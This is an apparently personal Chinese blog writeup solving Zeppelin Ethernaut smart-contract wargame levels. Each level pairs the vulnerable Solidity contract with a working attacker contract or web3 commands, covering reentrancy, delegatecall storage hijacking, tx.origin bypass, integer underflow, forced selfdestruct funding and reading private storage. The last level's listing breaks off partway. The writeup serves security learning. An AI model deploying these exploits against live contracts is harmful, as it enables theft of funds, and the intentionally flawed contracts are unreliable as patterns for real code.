Zeppelin ethernaut writeup (更新至 22 题 Shop,2018-11-08)

很长时间都没有更新博客了,一个是确实这一长段的时间学的东西都很杂乱,另一方面是考虑到之后的论文害怕被查重的问题,不是特别想写。加上实验室的各种杂事和项目东西也没时间玩玩比赛,成为了真正的只看 wp 的老年退役选手。

之前在学点前端开发的东西,egg+vue 相关的,找到一个论文的点,还没来得及落笔。这最近主要在搞搞区块链,主要点放在比特币、以太坊和超级账本上面把,想着把区块链和工控结合一下,不过结合点很局限,而且可能只有联盟链还能有些结合点,当然结合点又会引发很多新的问题,还得多看多学。这种偏理论的东西还是思维没打开。不知道有师傅有想法没有可以交流一下。

学习以太坊的时候把 zeppelin ethernaut 的题目刷了一下,不过那天一看又多了两个题目,干脆写个博客算了。

hello ethernaut

教程关没啥好说的,跟着提示一步步搞就行了

await contract.info()
// "You will find what you need in info1()."
await contract.info1()
// "Try info2(), but with "hello" as a parameter."
await contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
await contract.infoNum()
// 42
await contract.info42()
// "theMethodName is the name of the next method."
await contract.theMethodName()
// "The method name is method7123949."
await contract.method7123949()
// "If you know the password, submit it to authenticate()."
await contract.password()
// "ethernaut0"
await contract.authenticate('ethernaut0')

help可以看帮助,contract就是你申请创建的合约节点的对象。

Fallback

说明 fallback 函数的作用,当然这里说的fallback函数不是本关 Fallback 合约的构造方法。
fallback 函数文档传送门
这一关的目的是要成为合约节点的 owner 以及把合约节点上 ETHER 全部转走。
看看合约内容

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

成为 owner 有两种办法

  • 通过contribute向它转1000 ether,而且每次转账要小于0.001 ether,显然不行。
  • 通过 fallback 函数只要向它转账就行了。

为了满足 fallback 的contributions[msg.sender] > 0要先调用一次 contribute 函数

如下:

await contract.contribute({value: 1})
await contract.sendTransaction({value: 1})
// 上两步成为了 owner,下一步把合约的钱转走
await contract.withdraw()

然后 submit 就通过了。

Fallout

这一关的目的也是成为 owner,源码如下:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract Fallout is Ownable {

  mapping (address => uint) allocations;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  function allocate() public payable {
    allocations[msg.sender] += msg.value;
  }

  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

这一关就有点无聊了,注意函数名Fal1out(),不是Fallout(),所以不是构造函数,直接调用就可以了

await contract.Fal1out({"value":1})

Coin Flip

胜利条件是连续赢 10 次硬币翻转就行了。

pragma solidity ^0.4.18;

contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

可以看到这里正反面由上一个 block 的 hash 与一个固定值计算得出,那这种随机是不安全的,我们可以部署一个attack.sol,提示也提示了用 remix。

pragma solidity ^0.4.18;

contract CoinFlip {
  function CoinFlip() public {}
  function flip(bool _guess) public returns (bool) {}
}

contract attack{
    address game;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address param){
        game=param;
    }

    function go() public{
         uint256 blockValue = uint256(block.blockhash(block.number-1));
         uint256 coinFlip = blockValue / FACTOR;
         bool side = (coinFlip==1);
         CoinFlip a = CoinFlip(game);
         a.flip(side);
    }
}

运行 10 次 go 就可以了。生成可靠的随机数可能很棘手,目前还没有生成它们的本地方法,因为在智能合约中使用的所有内容都是公开可见的,包括标记为私有的局部变量和状态变量。

telephone

目的也是要成为合约的所有者。

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

这里区分一下tx.originmsg.sender
给定这样一个场景如:用户通过合约 A 调合约 B.
此时

  • 对于合约 A :tx.originmsg.sender都是用户。
  • 对于合约 B :tx.origin 是用户 . msg.sender是合约 A

origin ,字面意思根源,起源。

所以,这里我们部署一个合约内容如下

pragma solidity ^0.4.18;

contract Telephone {
  function Telephone() public {}
  function changeOwner(address _owner) public {}
}

contract attack{
    address target;
    constructor(address param){
        target = param;
    }
    function go(){
        Telephone a = Telephone(target);
        a.changeOwner(msg.sender);
    }
}

然后攻击者调用 go 函数就可以了。

token

这个就是经典的整形溢出的问题了。

pragma solidity ^0.4.18;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  function Token(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

这里原理是利用输入的 value 大于 20,导致减完之后就会为负,溢出成为一个很大的正整数就可以了。

Delegation

这个题有点疑问,不过我只是觉得我的方法没错并且本地也可以成功,应该哪儿有点问题。
我自己测试代码如下:

pragma solidity ^0.4.18;
contract Delegate {

  address public owner;

  function Delegate(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  function Delegation(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  function() public {
    if(delegate.delegatecall(msg.data)) {
      this;
    }
  }
}
contract attack{
    function go(address param){
        param.call(bytes4(keccak256("pwn()")));
    }

}

我依次部署DelegateDelegation合约,然后再部署 attack 合约在地址 A,然后调用 go 函数传入Delegation合约的地址,能够成功修改其 owner,但是却无法修改题目服务器的 owner。

这里其实主要思路就是 fallback 的触发条件:

  • 一是如果合约在被调用的时候,找不到对方调用的函数,就会自动调用 fallback 函数
  • 二是只要是合约收到别人发送的 Ether 且没有数据,就会尝试执行 fallback 函数,此时fallback需要带有payable 标记。否则,合约就会拒绝这 Ether。

所以直接向实例的地址发起调用一个 pwn 函数的交易就可以了,然后就会自动进入到 fallback 函数体。这里调用需要用method id(函数选择器),比如 pwn 函数的method id就是keccak256("pwn()"))取前四个字节,在 web3 中 sha3 就是 keccak256,所以是web3.sha3("pwn()").substr(0,10)
所以最后结果就是

data=web3.sha3("pwn()").slice(0,10);
await web3.eth.sendTransaction({from:player,to:instance,data:data,gas: 1111111},function(x,y){console.error(y)});

Force

这里我们在上一关提到了关于接受转账的话要 fallback 函数为 payable,否则会拒绝收到的转账,但是有一个特例是无法拒绝其他合约通过调用selfdestruct自毁之后的资金转移。

构造一个:

pragma solidity ^0.4.18;
contract attack{
    function () payable{

    }
    function go(address param){
        selfdestruct(param);
    }
}

然后部署完了给这个合约转点 ETHER,之后调用 go 函数即可。

Vault

参考链接:

https://solidity.readthedocs.io/en/v0.4.21/contracts.html#visibility-and-getters
https://hackernoon.com/your-private-solidity-variable-is-not-private-save-it-before-it-becomes-public-52a723f29f5e

题目代码如下:

pragma solidity ^0.4.18;

contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }

private 变量不能被别的合约访问,但是区块链上的信息是完全公开的,可以通过 web3 的getStorage函数获取到。
1 表示目标合约的第二个变量

web3.eth.getStorageAt(address,1,function(x,y){console.info(y);});

之后 unlock 就可以了。

King

题目代码如下:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract King is Ownable {

  address public king;
  uint public prize;

  function King() public payable {
    king = msg.sender;
    prize = msg.value;
  }

  function() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
}

开始还以为是一定要选手账户成为 king,后来才知道搞个别的账户成为 king 也可以,只需要阻止level address成为 king 就可以了。
那就写个合约,不接受最后的 transfer 就可以了,这样就会导致 contract 合约上的 tranfer 异常从而执行中断。要想不接受转账就很简单了,不写带 payable 的 fallback 函数、fallback 里面利用 require() 抛出异常或者 revert() 直接返回就可以了。

pragma solidity ^0.4.18;

contract attack{
    constructor(address param) public payable{
        param.call.gas(10000000).value(msg.value)();
    }
}

Re-entrancy (X)

题目代码如下:

pragma solidity ^0.4.18;

contract Reentrance {

  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}

比较典型的DAO攻击事件的例子了。
本地私有链成功了,但是测试网死活失败的,有点难受。
大概攻击脚本如下。
在测试网里面,一旦调用 hack 函数了,就是账户里面也没有记录,钱也到对面账户里去了,人才两空 23333.

pragma solidity ^0.4.18;

contract Reentrance {

  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
  constructor() payable
  {

  }
}

contract Attack {

    address instance_address;
    Reentrance target ;
    uint cnt=2;

    function Attack(address param) payable{
        instance_address = param;
        target = Reentrance(instance_address);
    }

    function donate() public payable {
        target.donate.value(0.5 ether)(this);
    }
    function () public payable {
        while(cnt>0){
            cnt--;
            target.withdraw(0.5 ether);
        }

    }
    function hack() public {
        target.withdraw(0.5 ether);
    }

    function get_balance() public view returns(uint) {
        return target.balanceOf(this);
    }

    function my_eth_bal() public view returns(uint) {
        return address(this).balance;
    }

    function ins_eth_bal() public view returns(uint) {
        return instance_address.balance;
    }
}

Elevator

题目代码如下:

pragma solidity ^0.4.18;

interface Building {
  function isLastFloor(uint) view public returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

伪造一个合约在被调用isLastFloor,第一次返回 false,第二次返回 true 就可以了。
如下:

pragma solidity ^0.4.18;

interface Building {
  function isLastFloor(uint) view public returns (bool);
}

contract Elevator {
  function goTo(uint _floor) public {}
}

contract attack is Building{
      uint cnt=0;
      function isLastFloor(uint) view public returns (bool){
        if(cnt == 0){
         cnt++;
         return false;
        }
         else
            return true;
      }
      function go(address param){
          Elevator a = Elevator(param);
          a.goTo(1);
      }
}

Privacy

题目代码如下:

pragma solidity ^0.4.18;

contract Privacy {

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function Privacy(bytes32[3] _data) public {
    data = _data;
  }

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

要求解锁 locked 就可以了,那很简单,直接利用 web3 的 api,web3.eth.getStorageAt就可以,依次获取

web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 0,function(x,y){console.info(y);})
0x000000000000000000000000000000000000000000000000000000d80cff0a01
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 1,function(x,y){console.info(y);})
0x47dac1a874d4d1f852075da0347307d6fcfef2a6ca6804ffda7b54e02df5c359
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 2,function(x,y){console.info(y);})
0x06080b7822355f604ab68183a2f2a88e2b5be84a34e590605503cf17aec66668
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 3,function(x,y){console.info(y);})
0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 4,function(x,y){console.info(y);})
0x0000000000000000000000000000000000000000000000000000000000000000
....

根据 solidity 文档中的变量存储原则,evm 每一次处理 32 个字节,而不足 32 字节的变量相互共享并补齐 32 字节。
那么我们简单分析下题目中的变量们:

bool public locked = true;  //1 字节 01
uint256 public constant ID = block.timestamp; //32 字节
uint8 private flattening = 10; //1 字节 0a
uint8 private denomination = 255;//1 字节 ff
uint16 private awkwardness = uint16(now);//2 字节

bytes32[3] private data;

那么第一个 32 字节就是由lockedflatteningdenominationawkwardness组成,另外由于常量是无需存储的,所以从第二个 32 字节起就是 data。
那么 data[2] 就是0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93
注意这里进行了强制类型转换将 data[2] 转换成了 bytes16,那么我们取前 16 字节即可。
执行 unlock 即可。

Gatekeeper One (X)

题目代码如下:

pragma solidity ^0.4.18;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(msg.gas % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

很绝望,又是一个本地和私有链都能成功,远程就是成功不了。
分析下代码,主要就是通过三个验证:
gateOne:这个通过部署一个中间恶意合约即可绕过
gateTwo:稍微难一点,我觉我远程成功不了的原因就在这里。msg.gas指的是运行到当前指令还剩余的 gas 量,要能整除 8191。那我们只需要81910+x,x 为从开始到运行完msg.gas所消耗的 gas。网上的 wp 通篇一律的都是x=215,但是我javascript VM环境下调出来是x=181。但是两个答案都是错误的。
那我更换一下编译器,测出来如下:

0.4.130.4.17 : x=160
0.4.180.4.21 : x=181
0.4.220.4.25 : x=324

然后把这些都试过了,不出意外的都失败了。最后贴一下代码

pragma solidity ^0.4.17;

contract GatekeeperOne {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    require(msg.gas % 8191 == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

contract attack{
    GatekeeperOne a;
    bytes8 _gateKey=bytes8(msg.sender) & 0xffffffff0000ffff;
    function attack(address instance) payable{
        a=GatekeeperOne(instance);
    }
    function test(){
        a.call.gas(10000)(bytes4(keccak256("enter(bytes8)")),_gateKey);
    }
    function hack(){
        a.call.gas(81910+324)(bytes4(keccak256("enter(bytes8)")),_gateKey);
    }
}

Gatekeeper Two

题目代码

pragma solidity ^0.4.18;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

和上一题类似,gateOne不多说了。
gateTwo的话题干给了提示黄皮书第 7 节:

(4) 的引用为

所以很明确了,初始化的时候合约还没有完全创建,代码大小是为 0,那就意味着我们把攻击的代码写到合约的构造函数里面去就可以了。
至于第三个直接异或就可以了。

pragma solidity ^0.4.18;

contract GatekeeperTwo {

  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    require(x == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

contract attack{
    function attack(address param){
        GatekeeperTwo a = GatekeeperTwo(param);
        bytes8 _gateKey =bytes8((uint64(0) - 1) ^ uint64(keccak256(this)));
        a.enter(_gateKey);
    }
}

Naught Coin

题目代码如下:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';

 contract NaughtCoin is StandardToken {

  string public constant name = 'NaughtCoin';
  string public constant symbol = '0x0';
  uint public constant decimals = 18;
  uint public timeLock = now + 10 years;
  uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
  address public player;

  function NaughtCoin(address _player) public {
    player = _player;
    totalSupply_ = INITIAL_SUPPLY;
    balances[player] = INITIAL_SUPPLY;
    Transfer(0x0, player, INITIAL_SUPPLY);
  }

  function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
    super.transfer(_to, _value);
  }

  // Prevent the initial owner from transferring tokens until the timelock has passed
  modifier lockTokens() {
    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }
  } 
}

题目要求是把账户的所有钱转光。
但是我们简单看一下逻辑,如果我们要转走所有的钱需要 10 年后才行,暂时也没有发现逻辑中有问题的地方。
既然子合约没有什么问题,那我们看看 import 的父合约
StandardToken.sol,其其实根据 ERC20 的标准我们也知道,转账有两个函数,一个transfer一个transferFrom,题目中代码只重写了transfer函数,那未重写transferFrom就是一个可利用的点了。直接看看StandardToken.sol代码:

 contract StandardToken {
    using ERC20Lib for ERC20Lib.TokenStorage;
    ERC20Lib.TokenStorage token;
    ...
    function transfer(address to, uint value) returns (bool ok) {
         return token.transfer(to, value);
       }

    function transferFrom(address from, address to, uint value) returns (bool ok) {
         return token.transferFrom(from, to, value);
       }
    ...
}

跟进ERC20Lib.sol

library ERC20Lib {
    ...
    function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
        self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
        self.balances[_to] = self.balances[_to].plus(_value);
        Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
        var _allowance = self.allowed[_from](msg.sender);

        self.balances[_to] = self.balances[_to].plus(_value);
        self.balances[_from] = self.balances[_from].minus(_value);
        self.allowed[_from](msg.sender) = _allowance.minus(_value);
        Transfer(_from, _to, _value);
        return true;
    }
    ...
    function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
        self.allowed[msg.sender](_spender) = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }

}

可以直接调用这个transferFrom即可了。但是transferFrom有一步权限验证,要验证这个msg.sender是否被_from(实际上在这里的情景的就是自己是否给自己授权了),那么我们同时还可以调用 approve 给自己授权。
所以如下操作即可:

await contract.approve(player,1000000*(10*18))
await contract.transferFrom(player,instance,1000000*(10**18));

Preservation (X)

题目代码如下:

pragma solidity ^0.4.23;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

这里就是主要利用delegatecall函数的特性,先介绍下:
delegatecall 用来调用其他合约、库的函数,比如 a 合约中调用 b 合约的函数,执行该函数使用的 storage 是 a 的。举个例子:

contract a{
    uint public x1;
    uint public x2;

    function funca(address param){
        param.delegate(bytes4(keccak256("funcb()")));
    }
}
contract b{
    uint public y1;
    uint public y2;

    function funcb(){
        y1=1;
        y2=2;
    }
}

上述合约中,一旦在 a 中调用了 b 的funcb函数,那么对应 a 中 x1 就会等于,x2 就会等于 2。

在这个过程中实际 b 合约的funcb函数是把 storage 里面的slot 1的值更换为了 1,把slot 2的值更换为了 2,那么由于 delegatecall 的原因这里修改的是 a 的 storage,对应就是修改了 x1,x2。

所以这个题就很好办了,我们调用PreservationsetFirstTime函数时候实际通过 delegatecall 执行了LibraryContractsetTime函数,修改了slot 1,也就是修改了timeZone1Library变量。
这样,我们第一次调用setFirstTimetimeZone1Library变量修改为我们的恶意合约的地址,第二次调用setFirstTime就可以执行我们的任意代码了。

如下:

pragma solidity ^0.4.23;

contract Preservation {

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;
  // Sets the function signature for delegatecall
  bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

  constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
    timeZone1Library = _timeZone1LibraryAddress; 
    timeZone2Library = _timeZone2LibraryAddress; 
    owner = msg.sender;
  }

  // set the time for timezone 1
  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
  }

  // set the time for timezone 2
  function setSecondTime(uint _timeStamp) public {
    timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
  }
}

// Simple library contract to set the time
contract LibraryContract {

  // stores a timestamp 
  uint storedTime;  

  function setTime(uint _time) public {
    storedTime = _time;
  }
}

contract attack{
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    function setTime(uint _time) public {
        timeZone1Library = address(_time);
        timeZone2Library = address(_time);
        owner=address(_time);
    }
}
    1. 执行contract.setFirstTime(addr),其中addrattack合约的地址
    1. 再执行contract.setFirstTime(player)即可成功修改 owner 为 player。

私有链成功了,但是题目服务器没有成功。

Locked

代码如下

pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked {

    bool public unlocked = false;  // registrar locked, no name updates

    struct NameRecord { // map hashes to addresses
        bytes32 name; // 
        address mappedAddress;
    }

    mapping(address => NameRecord) public registeredNameRecord; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses

    function register(bytes32 _name, address _mappedAddress) public {
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 

        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 

        require(unlocked); // only allow registrations if contract is unlocked
    }
}

这个就是典型的利用 struct 默认是 storage 的题目,具体介绍看上一篇博客即可。
函数中声明的newRecord,修改name 和 mappedAddress实际分别改的是unlockedbytes32 的 name。所以我们把 name 对应的slot 1的值改成 1 就可以了。攻击合约如下:

pragma solidity ^0.4.23; 

// A Locked Name Registrar
contract Locked {

    bool public unlocked = false;  // registrar locked, no name updates

    struct NameRecord { // map hashes to addresses
        bytes32 name; // 
        address mappedAddress;
    }

    mapping(address => NameRecord) public registeredNameRecord; // records who registered names 
    mapping(bytes32 => address) public resolve; // resolves hashes to addresses

    function register(bytes32 _name, address _mappedAddress) public {
        // set up the new NameRecord
        NameRecord newRecord;
        newRecord.name = _name;
        newRecord.mappedAddress = _mappedAddress; 

        resolve[_name] = _mappedAddress;
        registeredNameRecord[msg.sender] = newRecord; 

        require(unlocked); // only allow registrations if contract is unlocked
    }
}
contract attack{
    function go(address param){
       Locked a = Locked(param);
       a.register(bytes32(1),address(msg.sender));
    }
}

Recovery

代码如下:

pragma solidity ^0.4.23;

contract Recovery {

  //generate tokens
  function generateToken(string _name, uint256 _initialSupply) public {
    new SimpleToken(_name, msg.sender, _initialSupply);

  }
}

contract SimpleToken {

  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  function() public payable {
    balances[msg.sender] = msg.value*10;
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] -= _amount;
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address _to) public {
    selfdestruct(_to);
  }
}

题目简单来说就是已知一个Recovery合约地址,恢复一下它创建的SimpleToken合约的地址。

Method 1

这个我们直接看黄皮书第七节就可以了:

关于nonce的说明在第四节

简单来说,我们可以总结如下:

new_addr = address(keccak256(RLP([sender_address,nonce])))

nonce 这里很容易我们可以分析得到是1

nonce=0一般是智能合约自己创造的事件

sender_address就是我们得到的题目的instance的地址,这里我的是0x80e71134fa32b2bb01d6e611e48016aef574be40

根据 RLP 编码的官方文档,我们拿到了编码的 py 脚本如下:

def rlp_encode(input):
    if isinstance(input,str):
        if len(input) == 1 and ord(input) < 0x80: return input
        else: return encode_length(len(input), 0x80) + input
    elif isinstance(input,list):
        output = ''
        for item in input: output += rlp_encode(item)
        return encode_length(len(output), 0xc0) + output

def encode_length(L,offset):
    if L < 56:
         return chr(L + offset)
    elif L < 256**8:
         BL = to_binary(L)
         return chr(len(BL) + offset + 55) + BL
    else:
         raise Exception("input too long")

def to_binary(x):
    if x == 0:
        return ''
    else: 
        return to_binary(int(x / 256)) + chr(x % 256)

所以我们计算如下:

print rlp_encode(["80e71134fa32b2bb01d6e611e48016aef574be40".decode('hex'),"01".decode('hex')]).encode('hex')

'''
$ python /tmp/rlp_encode.py
d69480e71134fa32b2bb01d6e611e48016aef574be4001
'''

拿到结果d69480e71134fa32b2bb01d6e611e48016aef574be4001
然后拿到 solidity 里面计算地址

pragma solidity ^0.4.18;
contract test{
    function func() view returns (address){
        return address(keccak256(0xd69480e71134fa32b2bb01d6e611e48016aef574be4001));
    }
}

得到结果0xDD48155C966c68cc594a58ce84b67ce9B5CA058E,这就是我们恢复出来的合约的地址,那么我们可以直接利用 remix 的at address功能

然后再调用合约的destroy函数就能把所有的钱转回去,从而解决该题目。

Method 2

当然我们还有更简单的办法:
要知道区块链上所有的信息都是公开的,我们直接上 ropsten 测试网的官方网页查就可以了,搜索 instance 地址0x80e71134fa32b2bb01d6e611e48016aef574be40,成功查到:

MagicNumber

参考链接:https://www.jianshu.com/p/d9137e87c9d3
参考链接:https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

这个题就是部署一个合约要求在被调用whatIsTheMeaningOfLife()函数时返回0x42就可以了。
但是有一个要求是不能超过 10 个 opcode。
这个题目中的有些问题我目前还不是特别清楚还需要研究,不过勉强能把这一关给过了。之后会单写篇文章来解释。

合约的 bytecode(字节码) 一般分为三个部分:(摘自参考链接)

// 部署代码,创建合约时运行部署代码,目的是创建合约并把合约代码 copy 过去
60606040523415600e57600080fd5b5b603680601c6000396000f300
// 合约代码,即实际执行逻辑,代码的主要部分,让它返回 0x42 并且不超过 10 个 opcode 就可以了。
60606040525b600080fd00
// Auxdata,源码的加密指纹,用来验证。可选。
a165627a7a723058209747525da0f525f1132dde30c8276ec70c4786d4b08a798eda3c8314bf796cc30029

先构造合约代码,实际上只需要这样子的合约代码就够了:
600a600c600039600a6000f3604260805260206080f3

Alien Codex

pragma solidity ^0.4.24;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }

  function (bytes32[] _firstContactMessage) public {
    assert(_firstContactMessage.length > 2**200);
    contact = true;
  }

  function record(bytes32 _content) contacted public {
      codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

